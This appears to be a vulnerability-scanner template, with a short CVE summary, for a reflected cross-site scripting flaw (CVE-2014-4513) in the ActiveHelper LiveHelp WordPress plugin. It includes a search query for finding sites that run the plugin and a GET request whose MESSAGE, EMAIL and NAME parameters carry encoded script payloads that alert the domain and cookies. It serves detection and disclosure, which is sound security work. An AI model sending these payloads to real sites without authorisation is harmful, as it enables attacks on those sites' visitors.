Multiple cross-site scripting vulnerabilities in server/offline.php in the ActiveHelper LiveHelp Live Chat plugin 3.1.0 and earlier for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) MESSAGE, (2) EMAIL, or (3) NAME parameter.
PoC
id: CVE-2014-4513
info:
name: ActiveHelper LiveHelp Server 3.1.0 - Cross-Site Scripting
author: daffainfo
severity: medium
description: Multiple cross-site scripting vulnerabilities in server/offline.php in the ActiveHelper LiveHelp Live Chat plugin 3.1.0 and earlier for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) MESSAGE, (2) EMAIL, or (3) NAME parameter.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
remediation: |
Upgrade to a patched version of ActiveHelper LiveHelp Server or apply the necessary security patches to mitigate the XSS vulnerability.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2014-4513
- http://codevigilant.com/disclosure/wp-plugin-activehelper-livehelp-a3-cross-site-scripting-xss
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
cvss-score: 4.3
cve-id: CVE-2014-4513
cwe-id: CWE-79
epss-score: 0.04573
epss-percentile: 0.91139
cpe: cpe:2.3:a:activehelper:activehelper_livehelp_live_chat:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 2
vendor: activehelper
product: "activehelper_livehelp_live_chat"
framework: wordpress
google-query: "inurl:\"/wp-content/plugins/activehelper-livehelp\""
tags: cve2014,cve,wordpress,xss,wp-plugin,activehelper,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-content/plugins/activehelper-livehelp/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
internal: true
words:
- 'ActiveHelper LiveHelp Live Chat'
- method: GET
path:
- '{{BaseURL}}/wp-content/plugins/activehelper-livehelp/server/offline.php?MESSAGE=MESSAGE%3C%2Ftextarea%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&DOMAINID=DOMAINID&COMPLETE=COMPLETE&TITLE=TITLE&URL=URL&COMPANY=COMPANY&SERVER=SERVER&PHONE=PHONE&SECURITY=SECURITY&BCC=BCC&EMAIL=EMAIL%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&NAME=NAME%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&'
matchers-condition: and
matchers:
- type: word
part: body
words:
- "</textarea></script><script>alert(document.domain)</script>"
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4b0a00483046022100802ab4a968dc18ea9abc6bddb3f0e42d28ee076d397888b65ef4b1b8d044f198022100d3c24edaa00b4c29a995535e0588205e1cb4b0f08d7f64e4c5ea95e6a9b12973:922c64590222798bb761d5b6d8e72950
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